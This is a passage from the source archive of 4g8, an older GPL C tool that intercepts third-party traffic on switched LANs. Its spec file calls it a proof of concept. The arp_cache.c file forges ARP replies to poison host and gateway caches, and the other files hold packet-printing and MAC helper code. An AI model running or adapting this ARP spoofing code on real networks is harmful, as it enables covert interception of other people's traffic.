*msgp, ...) { u_int16_t i; u_int16_t max_len = 76; u_int16_t msg_len = 0; u_int8_t msg[255]; va_list va; #ifdef DEBUG fprintf(stdout, "DEBUG: print_separator()\n"); #endif va_start(va, msgp); vsnprintf(msg, 256, msgp, va); msg_len = strlen(msg); for(i = 0; i < bnl; i++) fprintf(stdout, "\n"); fprintf(stdout, "-| %s |-", msg); for(i = 0; i < (max_len - msg_len - 6); i++) fprintf(stdout, "-"); for(i = 0; i < anl; i++) fprintf(stdout, "\n"); return; } u_int8_t * retrieve_icmp_code(u_int16_t type, u_int16_t code) { u_int8_t *icmp_c; #ifdef DEBUG fprintf(stdout, "DEBUG: retrieve_icmp_code()\n"); #endif icmp_c = malloc(sizeof(u_int8_t) * 32); if(type == ICMP_UNREACH) { switch(code) { case ICMP_UNREACH_NET: sprintf(icmp_c, "Network"); break; case ICMP_UNREACH_HOST: sprintf(icmp_c, "Host"); break; case ICMP_UNREACH_PROTOCOL: sprintf(icmp_c, "Protocol"); break; case ICMP_UNREACH_PORT: sprintf(icmp_c, "Port"); break; case ICMP_UNREACH_NEEDFRAG: sprintf(icmp_c, "Need Fragment"); break; case ICMP_UNREACH_SRCFAIL: sprintf(icmp_c, "Source Fail"); break; case ICMP_UNREACH_NET_UNKNOWN: sprintf(icmp_c, "Network Unknown"); break; case ICMP_UNREACH_HOST_UNKNOWN: sprintf(icmp_c, "Host Unknown"); break; case ICMP_UNREACH_ISOLATED: sprintf(icmp_c, "Isolated"); break; case ICMP_UNREACH_NET_PROHIB: sprintf(icmp_c, "Network Prohibited"); break; case ICMP_UNREACH_HOST_PROHIB: sprintf(icmp_c, "Host Prohibited"); break; case ICMP_UNREACH_TOSNET: sprintf(icmp_c, "ToS Network"); break; case ICMP_UNREACH_TOSHOST: sprintf(icmp_c, "ToS Host"); break; case ICMP_UNREACH_FILTER_PROHIB: sprintf(icmp_c, "Filter Prohibited"); break; case ICMP_UNREACH_HOST_PRECEDENCE: sprintf(icmp_c, "Host Precedence"); break; case ICMP_UNREACH_PRECEDENCE_CUTOFF: sprintf(icmp_c, "Precedence Cutoff"); break; default: sprintf(icmp_c, "Unknown"); break; } } else if(type == ICMP_REDIRECT) { switch(code) { case ICMP_REDIRECT_NET: sprintf(icmp_c, "Network"); break; case ICMP_REDIRECT_HOST: sprintf(icmp_c, "Host"); break; case ICMP_REDIRECT_TOSNET: sprintf(icmp_c, "ToS Net"); break; case ICMP_REDIRECT_TOSHOST: sprintf(icmp_c, "ToS Host"); break; default: sprintf(icmp_c, "Unknown"); break; } } else if(type == ICMP_TIMXCEED) { switch(code) { case ICMP_TIMXCEED_INTRANS: sprintf(icmp_c, "In Transit"); break; case ICMP_TIMXCEED_REASS: sprintf(icmp_c, "Reassembly"); break; default: sprintf(icmp_c, "Unknown"); break; } } else if(type == ICMP_PARAMPROB) { switch(code) { case ICMP_PARAMPROB_OPTABSENT: sprintf(icmp_c, "Missing Option"); break; default: sprintf(icmp_c, "Unknown"); break; } } else { sprintf(icmp_c, "Unknown"); } return icmp_c; } u_int8_t * retrieve_icmp_type(u_int16_t type) { u_int8_t *icmp_t; #ifdef DEBUG fprintf(stdout, "DEBUG: retrieve_icmp_type()\n"); #endif icmp_t = malloc(sizeof(u_int8_t) * 32); memset(icmp_t, 0, sizeof(u_int8_t) * 32); switch(type) { case ICMP_ECHOREPLY: sprintf(icmp_t, "Echo Reply"); break; case ICMP_UNREACH: sprintf(icmp_t, "Unreachable"); break; case ICMP_SOURCEQUENCH: sprintf(icmp_t, "Source Quench"); break; case ICMP_REDIRECT: sprintf(icmp_t, "Redirect"); break; case ICMP_ECHO: sprintf(icmp_t, "Echo Request"); break; case ICMP_TIMXCEED: sprintf(icmp_t, "Time Exceeded"); break; case ICMP_PARAMPROB: sprintf(icmp_t, "Param Problem"); break; case ICMP_TSTAMP: sprintf(icmp_t, "Timestamp"); break; case ICMP_TSTAMPREPLY: sprintf(icmp_t, "Timestamp Reply"); break; case ICMP_IREQ: sprintf(icmp_t, "Info Request"); break; case ICMP_IREQREPLY: sprintf(icmp_t, "Info Reply"); break; case ICMP_ROUTERADVERT: sprintf(icmp_t, "Router Advertise"); break; case ICMP_ROUTERSOLICIT: sprintf(icmp_t, "Router Selection"); break; case ICMP_MASKREQ: sprintf(icmp_t, "Address Mask Request"); break; case ICMP_MASKREPLY: sprintf(icmp_t, "Address Mask Reply"); break; case ICMP_TRACEROUTE: sprintf(icmp_t, "Traceroute"); break; default: sprintf(icmp_t, "Unknown"); break; } return icmp_t; } u_int8_t * retrieve_arp_hw_type(u_int16_t hw_type) { u_int8_t *hw_t; #ifdef DEBUG fprintf(stdout, "DEBUG: retrieve_arp_hw_type() HWTYPE: %d\n", hw_type); #endif hw_t = malloc(sizeof(u_int8_t) * 32); switch(hw_type) { case ARPHRD_NETROM: sprintf(hw_t, "Net/ROM Pseudo"); break; case ARPHRD_ETHER: sprintf(hw_t, "Ethernet 10/100"); break; case ARPHRD_EETHER: sprintf(hw_t, "Experimental Ethernet"); break; case ARPHRD_AX25: sprintf(hw_t, "AX.25 Level 2"); break; case ARPHRD_PRONET: sprintf(hw_t, "ProNet Token Ring"); break; case ARPHRD_IEEE802: sprintf(hw_t, "IEEE 802.2 Ethernet"); break; case ARPHRD_ARCNET: sprintf(hw_t, "ARCNet"); break; case ARPHRD_APPLETLK: sprintf(hw_t, "AppleTalk"); break; case ARPHRD_LANSTAR: sprintf(hw_t, "Lanstar"); break; case ARPHRD_DLCI: sprintf(hw_t, "Frame Relay DLCI"); break; case ARPHRD_ATM: sprintf(hw_t, "ATM"); break; case ARPHRD_METRICOM: sprintf(hw_t, "Metricom STRIP"); break; case ARPHRD_IPSEC: sprintf(hw_t, "IPsec Tunnel"); break; } #ifdef DEBUG fprintf(stdout, "DEBUG: ARP hardware type: : %s\n", hw_t); #endif return hw_t; } u_int32_t format_ethernet_addr(u_int8_t *ethstr, u_int8_t u_eaddr[6]) { int i = 0; long base16; u_int8_t *eptr, *delim = ":"; u_int8_t o_ethstr[18] = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0}; #ifdef DEBUG fprintf(stdout, "DEBUG: format_ethernet_addr()\n"); #endif if(ethstr) strncpy(o_ethstr, ethstr, 18); else { u_eaddr = o_ethstr; return 1; } for(eptr = strtok(o_ethstr, delim); eptr; eptr = strtok(NULL, delim)) { if((base16 = strtol(eptr, 0, 16)) > 0xff) return 0; u_eaddr[i] = base16; i++; } if(i != 6) return 0; ethstr = o_ethstr; return 1; } u_int8_t * retrieve_rand_ethernet_addr(u_int8_t *eaddr) { u_int8_t oct, oct_cnt; #ifdef DEBUG fprintf(stdout, "DEBUG: retrieve_rand_ethernet_addr()\n"); #endif for(oct_cnt = 1; oct_cnt < 7; oct_cnt++) { oct = (u_int8_t)retrieve_rand_int(0xFF); if(oct_cnt != 1) sprintf(eaddr, "%s:%0x", eaddr, oct); else sprintf(eaddr, "%0x", oct); } return eaddr; } 4g8-1.0/src/utils.h0100644000000000000000000000272410037120766012562 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #ifndef __UTILS_H #define __UTILS_H #include "globals.h" #include "pcap.h" void print_separator(int, int, u_int8_t *, ...); u_int8_t *retrieve_rand_ipv4_addr(u_int8_t *); u_int8_t *retrieve_rand_ethernet_addr(u_int8_t *); u_int8_t *retrieve_arp_hw_type(u_int16_t); u_int8_t *retrieve_arp_type(u_int16_t); u_int8_t *retrieve_icmp_type(u_int16_t); u_int8_t *retrieve_icmp_code(u_int16_t, u_int16_t); u_int16_t retrieve_datalink_hdr_len(u_int32_t); u_int32_t retrieve_rand_int(u_int32_t); u_int32_t format_ethernet_addr(u_int8_t *, u_int8_t[]); #endif /* __UTILS_H */ 4g8-1.0/src/version.h.in0100644000000000000000000000210410037121205013471 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * packit official page at http://packit.sourceforge.net */ #define FG_VERSION "@FORGATE_VERSION@" #define FG_AUTHOR "Darren Bounds " #define FG_SITE "http://forgate.sourceforge.net" 4g8-1.0/src/dump_packet.c0100644000000000000000000000565010037120765013711 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include "dump_packet.h" #define HEXDUMP_BYTES_PER_LINE 16 #define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2) #define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */ #define HEXDUMP_HEXSTUFF_PER_LINE \ (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE) /* * This code was mostly taken from TCPdump :) */ void dump_packet(u_int8_t *cp, int len) { int i, offset, nshorts, s1, s2; char hex_data[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp; char ascii_data[HEXDUMP_BYTES_PER_LINE+1], *asp; #ifdef DEBUG fprintf(stdout, "DEBUG: dump_packet()\n"); #endif offset = i = 0; hsp = hex_data; asp = ascii_data; nshorts = len / sizeof(u_int16_t); while (--nshorts >= 0) { s1 = *cp++; s2 = *cp++; snprintf(hsp, sizeof(hex_data) - (hsp - hex_data), " %02x%02x", s1, s2); hsp += HEXDUMP_HEXSTUFF_PER_SHORT; *(asp++) = (isgraph(s1) ? s1 : '-'); *(asp++) = (isgraph(s2) ? s2 : '-'); if(++i >= HEXDUMP_SHORTS_PER_LINE) { *hsp = *asp = '\0'; fprintf(stdout, "\n0x%04x\t %-*s\t %s", offset, HEXDUMP_HEXSTUFF_PER_LINE, hex_data, ascii_data); i = 0; hsp = hex_data; asp = ascii_data; offset += HEXDUMP_BYTES_PER_LINE; } } if(len & 1) { s1 = *cp++; snprintf(hsp, sizeof(hex_data) - (hsp - hex_data), " %02x", s1); hsp += 3; *(asp++) = (isgraph(s1) ? s1 : '-'); ++i; } if(i > 0) { *hsp = *asp = '\0'; fprintf(stdout, "\n0x%04x\t %-*s\t %s", offset, HEXDUMP_HEXSTUFF_PER_LINE, hex_data, ascii_data); } fprintf(stdout, "\n"); return; } 4g8-1.0/src/arp_cache.c0100644000000000000000000001137510037120765013323 0ustar rootroot/* * author: Darren Bounds * copyright: Copyright (C) 2002 by Darren Bounds * license: This software is under GPL version 2 of license * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * 4g8 official page at http://.net */ #include #include "arp_cache.h" pthread_mutex_t conn_mutex = PTHREAD_MUTEX_INITIALIZER; libnet_t * arp_cache_mgr(u_int8_t action, libnet_t *pkt_d) { u_int32_t s_paddr, r_paddr; u_int8_t gw_neaddr[6], host_neaddr[6]; u_int8_t r_neaddr[] = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0}; struct libnet_ether_addr *hw_addr; #ifdef DEBUG fprintf(stdout, "DEBUG: arp_cache_mgr()\n"); #endif hw_addr = malloc(sizeof(struct libnet_ether_addr *)); memset(hw_addr, 0, sizeof(struct libnet_ether_addr *)); if((r_paddr = libnet_name2addr4(pkt_d, "0.0.0.0", 0)) == -1) fatal_error("Invalid receiver protocol address"); // Host if(action == 0) { if(format_ethernet_addr(gw_mac, hw_addr->ether_addr_octet) == 0) fatal_error("Invalid sender ethernet address: %s", gw_mac); if((s_paddr = libnet_name2addr4(pkt_d, gw_ip, 0)) == -1) fatal_error("Invalid receiver protocol address: %s", gw_ip); } else if(action == 1) { hw_addr = libnet_get_hwaddr(pkt_d); if((s_paddr = libnet_name2addr4(pkt_d, gw_ip, 0)) == -1) fatal_error("Invalid receiver protocol address: %s", gw_ip); } if(libnet_build_arp( ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, 2, hw_addr->ether_addr_octet, (u_int8_t *)&s_paddr, r_neaddr, (u_int8_t *)&r_paddr, NULL, 0, pkt_d, 0) == -1) { fatal_error("Unable to build ARP header: %s", libnet_geterror(pkt_d)); } if(format_ethernet_addr(host_mac, host_neaddr) == 0) fatal_error("Invalid sender ethernet address"); if(libnet_build_ethernet( host_neaddr, hw_addr->ether_addr_octet, ETHERTYPE_ARP, NULL, 0, pkt_d, 0) == -1) { fatal_error("Unable to build ethernet header"); } libnet_write(pkt_d); libnet_clear_packet(pkt_d); // GATEWAY if(action == 0) { if(format_ethernet_addr(host_mac, hw_addr->ether_addr_octet) == 0) fatal_error("Invalid sender ethernet address: %s", host_mac); if((s_paddr = libnet_name2addr4(pkt_d, host_ip, 0)) == -1) fatal_error("Invalid receiver protocol address: %s", host_ip); } else if(action == 1) { hw_addr = libnet_get_hwaddr(pkt_d); if((s_paddr = libnet_name2addr4(pkt_d, host_ip, 0)) == -1) fatal_error("Invalid receiver protocol address: %s", host_ip); } if(libnet_build_arp( ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, 2, hw_addr->ether_addr_octet, (u_int8_t *)&s_paddr, r_neaddr, (u_int8_t *)&r_paddr, NULL, 0, pkt_d, 0) == -1) { fatal_error("Unable to build ARP header: %s", libnet_geterror(pkt_d)); } if(format_ethernet_addr(gw_mac, gw_neaddr) == 0) fatal_error("Invalid sender ethernet address"); if(libnet_build_ethernet( gw_neaddr, hw_addr->ether_addr_octet, ETHERTYPE_ARP, NULL, 0, pkt_d, 0) == -1) { fatal_error("Unable to build ethernet header"); } libnet_write(pkt_d); libnet_clear_packet(pkt_d); return pkt_d; } void arp_cache_alrm(int sig) { #ifdef DEBUG fprintf(stdout, "DEBUG: arp_cache_alrm(%d)\n", sig); #endif // pthread_mutex_lock(&conn_mutex); arp_cache_mgr(1, pkt_d); // pthread_mutex_unlock(&conn_mutex); return; } 4g8-1.0/VERSION0100644000000000000000000000000410037120557011515 0ustar rootroot1.0 4g8-1.0/contrib/0040755000000000000120000000000010005325667012246 5ustar rootwheel4g8-1.0/contrib/redhat/0040755000000000000120000000000010037121433013503 5ustar rootwheel4g8-1.0/contrib/redhat/4g8.spec0100644000000000000120000000271010037121432014755 0ustar rootwheel%define version 1.0 Name: 4g8 Version: %{version} Release: 1 Source: http://forgate.sourceforge.net/4g8-%{version}.tgz URL: http://forgate.sourceforge.net/ License: GPL Group: Networking/Utilities BuildRoot: /var/tmp/%{name}-rpmroot Summary: Packet Diversion And Interception For Switched LANs Vendor: Darren Bounds BuildRequires: libnet >= 1.1 Requires: libnet >= 1.1 %description 4G8 was written as a proof of concept in one method of capturing traffic flows from a 3rd party on a switched network. 4G8 uses ARP cache poisoning, packet capture and packet reconstruction to perform it's task. It should work with nearly all TCP, ICMP and UDP IPv4 traffic. %prep %setup %build CC='gcc -I/usr/include/pcap' ./configure --prefix=/usr make %install mkdir -p $RPM_BUILD_ROOT/usr make prefix=$RPM_BUILD_ROOT/usr install %changelog * Tue Apr 13 2004 Darren Bounds Updated for 1.0 sources. * Sun Jan 25 2004 Darren Bounds Updated in response to Fortinet Cease and Desist request. * Sun Jan 25 2004 Darren Bounds Updated for 0.9b. * Fri Jan 23 2004 Darren Bounds Initial wrap. %files %defattr(-,root,root) %attr(755,root,root) /usr/sbin/4g8 %doc INSTALL LICENSE VERSION %clean rm -rf $RPM_BUILD_ROOT